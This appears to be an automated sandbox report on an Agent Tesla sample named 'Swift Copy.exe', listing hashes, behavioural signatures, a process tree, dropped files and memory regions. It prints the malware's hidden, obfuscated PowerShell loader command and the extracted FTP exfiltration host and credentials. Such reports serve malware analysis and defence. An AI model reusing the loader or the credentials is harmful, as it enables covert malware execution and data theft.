Analysis

  • max time kernel
    95s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 13:30

General

  • Target

    Swift Copy.exe

  • Size

    979KB

  • MD5

    411ad554068219f2ed0ce5e74f02d542

  • SHA1

    917cc7780771e518c544338e24204471c54ec5fa

  • SHA256

    59b03fee31c5c62caac3b05827d210553ce84a6e7c5ae43cb7d34f8242d9bae6

  • SHA512

    6dbd1cffd8e580bb8737e00e6c85a63d8092edb2db2028d671241fc1223e58d254a13adfe1ee05574a98be8ec471566bba7d73e2d73d30ba1805d35615c3e090

  • SSDEEP

    24576:i/Vwqfj3y6EQ4Dsv+G/9nRn0fyVPiDrNEtEBkvUEZmWwH+EP0R/tF25taZScLvci:0Vwqfj3y6EQ4Dsv+G/910fyVPiDrNEt1

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.concaribe.com
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    ro}UWgz#!38E

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Swift Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\Swift Copy.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Markgreven=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Overkeenly.Aut';$Fortykkelsernes=$Markgreven.SubString(3059,3);.$Fortykkelsernes($Markgreven)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        PID:400
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 1528
          4⤵
          • Program crash
          PID:3572
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 400 -ip 400
    1⤵
      PID:2180

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hudywx2b.o43.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Alkoholers.Ret

      Filesize

      292KB

      MD5

      71fc777fd0d8b08ed6a1b1989cc95318

      SHA1

      2d2f221507791b9765104d8c2e4f5a2b11cabe32

      SHA256

      01fbdf4dbc1f68eb63e7ddbd2f38ce32878575030857fc1fbdf6701072b540a9

      SHA512

      a837f6e3c95c19021ff908bc584ec9aa9d9503758ba9cea261d9ac75125520801bf73845b0a3434ec55afd818cf68bed560e9238ffc1e05ea9c5cd192c337f61

    • C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Overkeenly.Aut

      Filesize

      55KB

      MD5

      e1aaf4db5b49f5077aa39b8e8ca91243

      SHA1

      f1d68c2d223d1112f80b798a131da9e91c826bce

      SHA256

      76a1f9a4593917cdb08c30b9a444a43a7100fb1332aab4d7a4e335819eeeae55

      SHA512

      80d95f4062e06d0706c070b1071d9ba8ca3fa824532dbd3978cd95405502d48cf81dd2e5c6c329a90ebe8793e2065f22cb5502c510076ca626f6e92f0ba8608a

    • C:\Windows\SysWOW64\nonpurchasable.ini

      Filesize

      39B

      MD5

      e3b7ad34c9d96ee6bb33a7ea9652861f

      SHA1

      31414d72fe513f0df1a7348dcd94d183b2168e34

      SHA256

      e4c8aea2ff455ae1d449cfd6105f5fb00b40ee33e96ef3b900a6f12cf7f33b15

      SHA512

      56664fd237e1a885c9631df14d72f0ac35d1b2ee891095fe1c12774fea3849d699122af314cc346b5854e07521b9b3df87d5d35b58949bd7656778b82550547a

    • memory/400-73-0x0000000001E60000-0x000000000292B000-memory.dmp

      Filesize

      10.8MB

    • memory/400-71-0x0000000000C00000-0x0000000001E54000-memory.dmp

      Filesize

      18.3MB

    • memory/400-70-0x0000000001E60000-0x000000000292B000-memory.dmp

      Filesize

      10.8MB

    • memory/2040-53-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-55-0x00000000070D0000-0x0000000007173000-memory.dmp

      Filesize

      652KB

    • memory/2040-21-0x0000000005500000-0x0000000005566000-memory.dmp

      Filesize

      408KB

    • memory/2040-32-0x0000000005620000-0x0000000005974000-memory.dmp

      Filesize

      3.3MB

    • memory/2040-33-0x0000000005C60000-0x0000000005C7E000-memory.dmp

      Filesize

      120KB

    • memory/2040-34-0x0000000005C80000-0x0000000005CCC000-memory.dmp

      Filesize

      304KB

    • memory/2040-35-0x00000000061A0000-0x0000000006236000-memory.dmp

      Filesize

      600KB

    • memory/2040-36-0x0000000006140000-0x000000000615A000-memory.dmp

      Filesize

      104KB

    • memory/2040-37-0x0000000006C40000-0x0000000006C62000-memory.dmp

      Filesize

      136KB

    • memory/2040-38-0x0000000007290000-0x0000000007834000-memory.dmp

      Filesize

      5.6MB

    • memory/2040-20-0x0000000004D00000-0x0000000004D22000-memory.dmp

      Filesize

      136KB

    • memory/2040-40-0x0000000007EC0000-0x000000000853A000-memory.dmp

      Filesize

      6.5MB

    • memory/2040-54-0x0000000007060000-0x000000000707E000-memory.dmp

      Filesize

      120KB

    • memory/2040-19-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-43-0x0000000070F40000-0x0000000071294000-memory.dmp

      Filesize

      3.3MB

    • memory/2040-42-0x0000000070B70000-0x0000000070BBC000-memory.dmp

      Filesize

      304KB

    • memory/2040-41-0x0000000007080000-0x00000000070B2000-memory.dmp

      Filesize

      200KB

    • memory/2040-22-0x0000000005570000-0x00000000055D6000-memory.dmp

      Filesize

      408KB

    • memory/2040-56-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-57-0x00000000071F0000-0x00000000071FA000-memory.dmp

      Filesize

      40KB

    • memory/2040-58-0x0000000007230000-0x000000000725A000-memory.dmp

      Filesize

      168KB

    • memory/2040-59-0x0000000007260000-0x0000000007284000-memory.dmp

      Filesize

      144KB

    • memory/2040-60-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-61-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-17-0x0000000004D60000-0x0000000005388000-memory.dmp

      Filesize

      6.2MB

    • memory/2040-63-0x0000000074D5E000-0x0000000074D5F000-memory.dmp

      Filesize

      4KB

    • memory/2040-64-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-65-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-66-0x0000000008540000-0x000000000900B000-memory.dmp

      Filesize

      10.8MB

    • memory/2040-67-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-68-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-69-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-18-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/2040-16-0x0000000002280000-0x00000000022B6000-memory.dmp

      Filesize

      216KB

    • memory/2040-15-0x0000000074D5E000-0x0000000074D5F000-memory.dmp

      Filesize

      4KB